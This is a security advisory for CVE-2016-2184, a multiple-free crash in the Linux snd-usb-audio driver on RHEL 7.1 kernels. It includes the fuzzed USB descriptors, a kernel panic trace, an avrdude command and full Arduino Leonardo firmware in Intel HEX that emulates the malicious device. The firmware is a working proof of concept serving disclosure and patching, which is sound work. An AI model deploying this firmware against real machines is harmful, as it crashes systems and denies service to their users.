

OS-S Security Advisory 2016-17

Linux snd-usb-audio Multiple Free

Date: March 4th, 2016

Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spennberg

CVE: CVE-2016-2184

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes (multiple free) on invalid USB device descriptors (snd-usb-audio driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12th 2015

Abstract:

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the snd-usb-audio driver.

Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86_64
- Kernel 3.10.0-327.10.1.el7.x86_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x582
idProduct:	0x0
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system (multiple free).

[*] Configuration-Descriptor

bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31

[*] Interface-Descriptor

bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x3
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0

[*] Endpoint-Descriptor:

bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc

A Kernel Address Sanitizer (KASan) report is available at https://os-s.net/advisories/OSS-2016-17_KASan_Report.txt.

Proof of Concept:

For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device.

```
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

Severity and Ease of Exploitation:

The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required.

Vendor Communication:

We contacted Red Hat on the November, 12th 2015.

To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory.

References:

- https://bugzilla.redhat.com/show_bug.cgi?id=1283358

Kernel Stacktrace:

```
[ 32.951497] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 33.172627] usb 1-1: New USB device found, idVendor=0582, idProduct=0000
[ 33.179073] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 33.186972] usb 1-1: Product: ĉ
[ 33.190732] usb 1-1: Manufacturer: ĉ
[ 33.195718] usb 1-1: SerialNumber: %
[ 33.206296] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes
[ 33.344127] BUG: unable to handle kernel NULL pointer dereference at (null)
[ 33.345023] IP: [<ffffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio]
[ 33.345023] PGD 0
[ 33.345023] Oops: 0000 [#1] SMP
[ 33.345023] Modules linked in: snd_usb_audio(+)+ snd_usbmidi lib snd_hwdep snd_rawmidi snd_seq snd_seq_device
snd_pcm snd_timer snd_soundcore ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge
stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4
nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea
sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror
dm_region_hash dm_log dm_mod
[ 33.345023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 33.345023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33f8e13 by qemu-
project.org 04/01/2014
[ 33.345023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 33.345023] RIP: 0010:<ffffffffffa041d063> [<ffffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio]
[ 33.345023] RSP: 0018:ffff88000bd239b8 EFLAGS: 00010217
[ 33.345023] RAX: ffff88000c53c101 RBX: ffff88000c53c080 RCX: 000000000000067bd
[ 33.345023] RDX: 000000000000067bc RSI: ffffea00002f5400 RDI: ffff88000e401900
[ 33.345023] RBP: ffff88000bd239d8 R08: 0000000000016420 R09: ffff88000fc16420
[ 33.345023] R10: ffffea0000314f00 R11: ffffff041d060 R12: 0000000000000000
[ 33.345023] R13: ffff8800000588b8 R14: ffff880000058818 R15: 0000000000000000
[ 33.345023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 33.345023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 33.345023] CR2: 0000000000000000 CR3: 000000000bd05000 CR4: 000000000000006f0
[ 33.345023] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 33.345023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 00000000000000400
[ 33.345023] Stack:
[ 33.345023] ffff880000058800 ffff880000058600 0000000000000000 ffff88000c388a68
[ 33.345023] ffff88000bd239f0 ffffff041d319 ffffff041d319 ffffff041d319 ffff88000bd23a10
[ 33.345023] ffffff041d319 ffffff041d319 ffffff041d319 ffffff041d319 ffffff041d319
[ 33.345023] Call Trace:
[ 33.345023] [<ffffffffffa041d319>] snd_usb_audio_pcm_free+0x69/0x70 [snd_usb_audio]
[ 33.345023] [<ffffffffffa03c88b8>] snd_pcm_free+0x58/0x90 [snd_pcm]
[ 33.345023] [<ffffffffffa03c8902>] snd_pcm_dev_free+0x12/0x20 [snd_pcm]
[ 33.345023] [<ffffffffffa03a2ec9>] __snd_device_free+0x29/0x80 [snd]
[ 33.345023] [<ffffffffffa03a319b>] snd_device_free_all+0x3b/0x50 [snd]
[ 33.345023] [<ffffffffffa039c8ae>] release_card_device+0x1e/0x80 [snd]
[ 33.345023] [<ffffffffff813cdde2>] device_release+0x32/0xa0
[ 33.345023] [<ffffffffff812d6efe>] kobject_release+0x7e/0x1b0
[ 33.345023] [<ffffffffff812d6db8>] kobject_put+0x28/0x60
[ 33.345023] [<ffffffffff813ce107>] put_device+0x17/0x20
[ 33.345023] [<ffffffffffa039cb09>] snd_card_free_when_closed+0x29/0x40 [snd]
[ 33.345023] [<ffffffffffa039cc64>] snd_card_free+0x54/0x90 [snd]
[ 33.345023] [<ffffffffffa041bf83>] ? create_composite_quirk+0x73/0xb0 [snd_usb_audio]
[ 33.345023] [<ffffffffffa040e991>] usb_audio_probe+0x251/0x8d0 [snd_usb_audio]
[ 33.345023] [<ffffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 33.345023] [<ffffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 33.345023] [<ffffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 33.345023] [<ffffffffff813d3420>] ? __device_attach+0x40/0x40
[ 33.345023] [<ffffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 33.345023] [<ffffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 33.345023] [<ffffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 33.345023] [<ffffffffff813d3b34>] driver_register+0x64/0xf0
[ 33.345023] [<ffffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 33.345023] [<ffffffffffa0437000>] ? 0xffffffffffa0436fff
[ 33.345023] [<ffffffffffa043701e>] usb_audio_driver_init+0x1e/0x1000 [snd_usb_audio]
[ 33.345023] [<ffffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 33.345023] [<ffffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 33.345023] [<ffffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
```

```
[ 33.345023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 33.345023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 33.345023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 33.345023] Code: 0d eb 2e 0f 1f 44 00 00 4c 89 e3 49 89 c4 48 8b 7b 48 e8 81 de d8 e0 48 8b 7b 58 e8 78 de d8 e0
48 89 df e8 70 de d8 e0 4d 39 ec <49> 8b 04 24 75 d7 49 8b be b8 00 00 00 e8 5b de d8 e0 5b 41 5c
[ 33.345023] RIP [<ffffffffffa041d063>] free_substream.part.0+0x53/0x70 [snd_usb_audio]
[ 33.345023] RSP [<ffff88000bd239b8>]
[ 33.345023] CR2: 0000000000000000
[ 33.876830] ---[ end trace b239663354a1c556 ]---
[ 33.882175] Kernel panic - not syncing: Fatal exception
[ 33.883149] drm_kms_helper: panic occurred, switching back to text console
```

Arduino Leonardo Firmware:

```
:10000000C94A8000C94C5000C94C5000C94C500079
:10001000C94C5000C94C5000C94C5000C94C5004C
:10002000C94C5000C94C5000C94C4050C942F04CA
:10003000C94C5000C94C5000C94C5000C94C5002C
:10004000C94C5000C94C5000C94C5000C94C5001C
:10005000C94C5000C94C5000C94C5000C94C5000C940E02C1
:10006000C94C5000C94C5000C94C5000C94C5000C94C500FC
:10007000C94C5000C94C5000C94C5000C94C5000C94C500EC
:10008000C94C5000C94C5000C94C5000C94C5000C94C500DC
:10009000C94C5000C94C5000C94C5000C94C5000C94C500CC
:1000A000C94C5000C94C5000C94C5000C94C5000B030E0302
:1000B000010305032F032F032F03120316031A0353
:1000C000200324032F032A030000000200080E006F
:1000D00000030401000B00000000000000000000000000D
:1000E00000000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040404040304050202020217
:10011000040302020202020606060606060604040202A0
:1001200002040000000002300260029002C002F00FC
:10013000000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EDF3E102C005900D92A436B107D1
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9404070C940000089545
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B
:1001B00083E00E94300361E087E00E94300361E049
:1001C00088E00E9430030E9459067E012AE9E20E6F
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:10022000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188
:1002C0009C92F4E01196FC9311971496EC93F9012B
:1002D000DC01292D01900D922A95E1F7FE01EC56E3
:1002E000FF4FDC011B96FC93EE931A971D96BC9270
:1002F000AE921C971183008373836283558344837A
:10030000C5211092CE0F80111922A95E9F721E02D
:10031000D80119962C931997FE01E059FF4F0190CF
:10032000D929A94E1F7F8019387828761E088E063
:10033000E9469038BE492E00E94650688E892E0DF
:10034000E94650687EC92E00E94650686E093E0D5
:10035000E94650682E493E00E9465068FE793E0C1
```

:100360000E94650684EA93E00E9465068BEE93E0A6
:100370000E94650683E00E949F03892B09F047C015
:100380005E01F3E2AF0EB11C8824839482E1982EC3
:1003900084E194E00E946506BF92AF92DF92CF9213
:1003A000FF92EF921F928F921F930F932DB73EB73C
:1003B000225131090FB6F8943EBF0FBE2DBFADB725
:1003C000BEB71196FE01FB96892D01900D928A957C
:1003D000E1F78DE695E00E94030668E873E180E0AE
:1003E00090E00E947B028DE695E00E944E0660E060
:1003F00087E00E94690368E873E180E090E00E9472
:100400007B020FB6F894DEBF0FBECD9C1CF6AE04E
:1004100070E080E090E00E947B02ACCF1F920F92D0
:100420000FB60F9211242F933F938F939F93AF9307
:10043000BF938091650590916605A0916705B09185
:1004400068053091640523E0230F2D3720F40196D1
:10045000A11DB11D05C026E8230F0296A11DB11DE7
:10046000209364058093650590936605A0936705C6
:10047000B09368058091690590916A05A0916B051C
:10048000B0916C050196A11DB11D809369059093F3
:100490006A05A0936B05B0936C05BF91AF919F91D6
:1004A0008F913F912F910F900FBE0F901F90189535
:1004B0003FB7F8948091690590916A05A0916B050A
:1004C000B0916C0526B5A89B05C02F3F19F0019689
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C
:1004E000711D811D911D42E0660F771F881F991FA6
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372
:10050000DF936B017C010E945802EB01C114D104FE
:10051000E104F10479F00E9458026C1B7D0B683EE7
:100520007340A0F381E0C81AD108E108F108C8516E
:10053000DC4FECCDF91CF91FF90EF90DF90CF9029
:100540000895789484B5826084BD84B5816084BD4B
:1005500085B5826085BD85B5816085BDEEE6F0E03C
:10056000808181608083E1E8F0E010828081826098
:100570008083808181608083E0E8F0E08081816019
:100580008083E1E9F0E08081826080838081816006
:100590008083E0E9F0E0808181608083E1ECF0E03D
:1005A000808184608083808182608083808181609B
:1005B0008083E3ECF0E0808181608083E0ECF0E018
:1005C000808182608083E2ECF0E0808181608083C2
:1005D000EAE7F0E0808184608083808182608083AC
:1005E000808181608083808180688083089590E02D
:1005F000FC013197EE30F10590F5EA5AFF4F0C946B
:10060000AB09809180008F7703C0809180008F7D3F
:1006100080938000089584B58F7702C084B58F7D64
:1006200084BD0895809190008F7707C080919000DD
:100630008F7D03C080919000877F80939000089504
:100640008091C0008F7703C08091C0008F7D809320
:10065000C00008958091C200877F8093C2000895F2
:10066000CF93DF9390E0FC01EA51FF4F2491FC010E
:10067000EC5FFE4F8491882349F190E0880F991F29
:10068000FC01E25CFE4FA591B491805D9E4FFC01A0
:10069000C591D4919FB7611108C0F8948C912095B1
:1006A00082238C93888182230AC0623051F4F894AB
:1006B0008C91322F309583238C938881822B888371
:1006C00004C0F8948C91822B8C939FBFDF91CF91C3
:1006D00008950F931F93CF93DF931F92CDB7DEB78B
:1006E000282F30E0F901E853FF4F8491F901EA51D6
:1006F000FF4F1491F901EC5FFE4F04910023C9F004
:10070000882321F069830E94F7026981E02FF0E0DD
:10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7
:100720008C91611103C01095812301C0812B8C93A2
:100730009FBF0F90DF91CF911F910F910895CF939D
:10074000DF93282F30E0F901E853FF4F8491F9013E
:10075000EA51FF4FD491F901EC5FFE4FC491CC23D5
:1007600091F081110E94F702EC2FF0E0EE0FFF1FD5
:10077000EE5DFE4FA591B4912C912D2381E090E088
:1007800021F480E002C080E090E0DF91CF910895F5

:10079000615030F02091F100FC0120830196F8CFE8
:1007A000289884E680937D0508951092E9001092C0
:1007B00071051092700590936F0580936E050895F2
:1007C000FF920F931F93CF93DF93F82E8B01EA01D3
:1007D000BA01C8010E94A606F80120E030E08EEFC1
:1007E0002C173D0791F1F7FE02C0A49101C0A08132
:1007F000609170057091710540916E0550916F0583
:1008000064177507ACF49091E8009570E1F390914E
:10081000E80092FD1CC0A093F100A0917005B0917A
:1008200071051196AF73BB27AB2B11F48093E800D1
:10083000A0917005B09171051196B0937105A093C8
:1008400070052F5F3F4F3196CBCFC90102C08FEFAC
:100850009FEFDF91CF911F910F91FF9008951F920D
:100860000F920FB60F9211246F927F928F929F92E8
:10087000AF92BF92CF92DF92EF92FF920F931F93AE
:100880002F933F934F935F936F937F938F939F9398
:10089000AF93BF93EF93FF93CF93DF93CDB7DEB7C3
:1008A0006297DEBFCDBF1092E9008091E80083FF20
:1008B00046C168E0CE010A960E94C80382EF809389
:1008C000E8009A8597FF05C08091E80080FFCFCF83
:1008D00003C08EEF8093E800892F807609F023C152
:1008E0008B85811105C01092F1001092F10020C19A
:1008F000282F2D7F213009F41BC1853049F48091C8
:10090000E80080FFCFCF8C8580688093E30010C1F5
:10091000863009F0E1C02D8508891989223009F057
:10092000B3C0EC848E2D90E0209173053091740556
:10093000821793070CF09FC00E94D5031F92EF927D
:100940008DE394E09F938F930E9483068CE0E89E52
:1009500070011124E0917505F0917605EE0DFF1DF3
:1009600089E0DE01119601900D928A95E1F7C801A8
:100970000E94D50349E050E0BE016F5F7F4F80E0E9
:100980000E94E0030F900F900F900F90C12CD12C7C
:10099000612C712C33E7A32E34E0B32E4AEA842E67
:1009A00044E0942EE0917505F0917605EE0DFF1D63
:1009B000818590E0681679060CF0BAC07F926F923C
:1009C000BF92AF920E948306E0917505F091760583
:1009D000EE0DFF1D628573856C0D7D1D49E050E0B5
:1009E00080E00E94E0030F900F900F900F9000E0C6
:1009F00010E0E0917505F0917605EE0DFF1D028483
:100A0000F385E02DEC0DFD1D818590E00817190799
:100A10005CF51F930F939F928F920E948306E09143
:100A20007505F0917605EE0DFF1D0284F385E02D2E
:100A3000EC0DFD1DC801880F991FA485B585A80F71
:100A4000B91F4D915C910284F385E02DE80FF91FE9
:100A50006081718180E00E94E0030F5F1F4F0F9063
:100A60000F900F900F90C5CF8FEF681A780A8EE025
:100A7000C80ED11C97CF8FED94E09F938F930E9467
:100A800083060F900F9058C0C8012A8B0E94D5038F
:100A90002A892130C1F0233009F04EC08C851F9285
:100AA0008F9389EF94E09F938F930E94830642E097
:100AB00050E062E871E080E00E94E0030F900F9048
:100AC0000F900F9035C04091000150E060E071E060
:100AD00080E00E94E0032CC0873071F1883021F45F
:100AE00081E08093F10024C0893011F5937021F5E5
:100AF000EDE4F1E081E021E096E38093E9002093CA
:100B0000EB0034913093EC009093ED008F5F3196C1
:100B1000843099F78EE78093EA001092EA008C8582
:100B20008093720505C0888999890E94D50304C005
:100B30008EEF8093E80003C081E28093EB00629621
:100B40000FB6F894DEBF0FBECDBFDF91CF91FF91FE
:100B5000EF91BF91AF919F918F917F916F915F9135
:100B60004F913F912F911F910F91FF90EF90DF9048
:100B7000CF90BF90AF909F908F907F906F900F908D
:100B80000FBE0F901F9018951F920F920FB60F92E5
:100B900011248F939F938091E1001092E10083FFD5
:100BA0000FC01092E90091E09093EB001092EC00DE
:100BB00092E39093ED001092720598E09093F0000C

:100BC00082FF1AC080917E05882339F080917E05CE
:100BD000815080937E05882369F080917D0588236C
:100BE00059F080917D05815080937D05811104C06D
:100BF000289A02C05D9AF1CF9F918F910F900FBEFE
:100C00007901F901895CF93DF93CDB7DEB782E199
:100C1000FE013596A0E0B1E001900D928A95E1F7D2
:100C20008F89988D9093760580937505898D9A8D1F
:100C300090937405809373058B8D9C8D90937C05A8
:100C400080937B058D8D9E8D90937A058093790599
:100C50008F8D98A1909378058093770510927205F7
:100C600081E08093D70080EA8093D80082E189BD3B
:100C70009B400FEFDCF61E070E080E090E00E94EA
:100C80007B0280E98093D8008CE08093E200109290
:100C9000E000559A209ADF91CF91089581E08093EA
:100CA000E0008959091C80095FFFCCF8093CE009E
:100CB0008951092CD0087E68093CC0088E1809360
:100CC000C9008EE08093CA0008950F931F93CF93BD
:100CD000DF93EC018C01FE0101900020E9F73197D0
:100CE000EC1BFD0BC8018C1B9D0B8E179F0730F46E
:100CF000F80181918F010E945206EDCFDF91CF91D3
:100D00001F910F910895CF93DF93CDB7DEB7DA959A
:100D10000FB6F894DEBF0FBECDBFFE01EB5FFE4FF6
:100D2000419151919F0160E071E0CE0101960E94D6
:100D3000707CE0101960E946506D3950FB6F89479
:100D4000DEBF0FBECDBFDF91CF9108958F929F92EE
:100D5000AF92BF92CF92DF92EF92FF920F931F93C9
:100D6000CF93DF9300D0CDB7DEB75B0122E535E04E
:100D70003F932F9389839A830E9483068981882ECB
:100D80009A81992E0F900F9000E010E08EE5E82EEA
:100D900085E0F82E91E1C92E94E0D92E0A151B05A5
:100DA000E4F4F40181914F0190E09F938F93FF92BF
:100DB000EF920E9483060F5F1F4FC8018F70992723
:100DC000F900F900F900F90892B41F7DF92CF92E9
:100DD0000E9483060F900F90E1CF81E194E09F93F2
:100DE0008F930E9483060F900F900F900F90DF91CA
:100DF000CF911F910F91FF90EF90DF90CF90BF9018
:100E0000AF909F908F900895F8940C94E809AEE00D
:100E1000B0E0EDE0F7E00C94BF098C01CA0146E0B8
:100E20004C831A83098377FF02C060E070E8615049
:100E300071097E836D83A901BC01CE0101960E94D8
:100E400033074D815E8157FD0AC02F8138854217D7
:100E500053070CF49A01F801E20FF31F10822E964B
:100E6000E4E00C94DB09ACE0B0E0E9E3F7E00C94DB
:100E7000B1097C016B018A01FC0117821682838112
:100E800081FFBDC1CE0101964C01F7019381F601AE
:100E900093FD859193FF81916F01882309F4ABC184
:100EA000853239F493FD859193FF81916F018532ED
:100EB00029F4B70190E00E941B09E7CF512C312C97
:100EC00020E02032A0F48B3269F030F4803259F007
:100ED000833269F420612CC08D3239F0803339F4CB
:100EE000216026C02260246023C0286021C027FD25
:100EF00027C030ED380F3A3078F426FF06C0FAE00C
:100F00005F9E300D1124532E13C08AE0389E300DA1
:100F10001124332E20620CC08E3221F426FD6BC1C9
:100F2000206406C08C3611F4206802C0883641F473
:100F3000F60193FD859193FF81916F018111C1CFDE
:100F4000982F9F7D9554933028F40C5F1F4FFFE33B
:100F5000F9830DC0833631F0833771F0833509F0A2
:100F60005BC022C0F801808189830E5F1F4F44243B
:100F70004394512C540115C03801F2E06F0E711CDE
:100F8000F801A080B18026FF03C0652D70E002C08B
:100F90006FEF7FEFC5012C870E9410092C018301A0
:100FA0002C852F77222E17C03801F2E06F0E711CAE
:100FB000F801A080B18026FF03C0652D70E002C05B
:100FC0006FEF7FEFC5012C870E9405092C012C854E
:100FD0002068222E830123FC1BC0832D90E048163D
:100FE0005906B0F4B70180E290E00E941B093A94E0

:100FF000F4CFF50127FC859127FE81915F01B701B0
:1010000090E00E941B0931103A94F1E04F1A510808
:101010004114510471F7E5C0843611F0893639F571
:10102000F80127FF07C060817181828193810C5F85
:101030001F4F08C060817181882777FD8095982FA8
:101040000E5F1F4F2F76B22E97FF09C090958095A7
:10105000709561957F4F8F4F9F4F2068B22E2AE089
:1010600030E0A4010E944D09A82EA81844C085377D
:1010700029F42F7EB22E2AE030E025C0F22FF97F2E
:10108000BF2E8F36C1F018F4883579F0B4C08037A0
:1010900019F0883721F0AFC02F2F2061B22EB4FE97
:1010A0000DC08B2D8460B82E09C024FF0AC09F2F6D
:1010B0009660B92E06C028E030E005C020E130E09F
:1010C00002C020E132E0F801B7FE07C06081718103
:1010D000828193810C5F1F4F06C06081718180E027
:1010E00090E00E5F1F4FA4010E944D09A82EA81882
:1010F000FB2DFF77BF2EB6FE0BC02B2D2E7FA51428
:1011000050F4B4FE0AC0B2FC08C02B2D2E7E05C0E0
:101110007A2C2B2D03C07A2C01C0752C24FF0DC016
:10112000FE01EA0DF11D8081803311F4297E09C092
:1011300022FF06C07394739404C0822F867809F04E
:10114000739423FD13C020FF06C05A2C731418F4A7
:10115000530C5718732C731468F4B70180E290E0B5
:101160002C870E941B0973942C85F5CF731410F4FF
:10117000371801C0312C24FF12C0B70180E390E082
:101180002C870E941B092C8522FF17C021FF03C05A
:1011900088E590E002C088E790E0B7010CC0822F9C
:1011A000867859F021FD02C080E201C08BE227FD64
:1011B0008DE2B70190E00E941B09A51438F4B70135
:1011C00080E390E00E941B095A94F7CFAA94F4019F
:1011D000EA0DF11D8081B70190E00E941B09A1106A
:1011E000F5CF332009F451CEB70180E290E00E94A0
:1011F0001B093A94F6CFF7018681978102C08FEFE1
:101200009FEF2C96E2E10C94CD09FC010590615012
:1012100070400110D8F7809590958E0F9F1F08950C
:10122000FC016150704001900110D8F780959095B5
:101230008E0F9F1F08950F931F93CF93DF93182F47
:10124000092FEB018B8181FD03C08FEF9FEF20C041
:1012500082FF10C04E815F812C813D814217530770
:101260007CF4E881F9819F012F5F3F4F3983288308
:10127000108306C0E885F985812F0995892B29F708
:101280002E813F812F5F3F4F3F832E83812F902FF1
:10129000DF91CF911F910F910895FA01AA2728306D
:1012A00051F1203181F1E8946F936E7F6E5F7F4F33
:1012B0008F4F9F4FAF4FB1E03ED0B4E03CD0670FAF
:1012C000781F891F9A1FA11D680F791F8A1F911D02
:1012D000A11D6A0F711D811D911DA11D20D009F452
:1012E00068943F912AE0269F11243019305D319394
:1012F000DEF6CF010895462F4770405D4193B3E07D
:101300000FD0C9F7F6CF462F4F70405D4A3318F023
:10131000495D31FD4052419302D0A9F7EACFB4E0D4
:10132000A6959795879577956795BA95C9F700978C
:101330006105710508959B01AC010A2E069457952D
:10134000479537952795BA95C9F7620F731F841F84
:10135000951FA01D0895EE0FFF1F0590F491E02D3D
:1013600009942F923F924F925F926F927F928F9249
:101370009F92AF92BF92CF92DF92EF92FF920F9324
:101380001F93CF93DF93CDB7DEB7CA1BDB0B0FB62E
:10139000F894DEBF0FBECDBF09942A8839884888EB
:1013A0005F846E847D848C849B84AA84B984C88481
:1013B000DF80EE80FD800C811B81AA81B981CE0F78
:1013C000D11D0FB6F894DEBF0FBECDBFED0108955D
:0413D000F894FFCFBF
:1013D4001201000200000040AD0BEFBE000101024B
:1013E4000001220342006100640020004200410029
:1013F40042004500250078002500780025006E0095
:1014040025007000180342004100440020004300FE

:0000001FF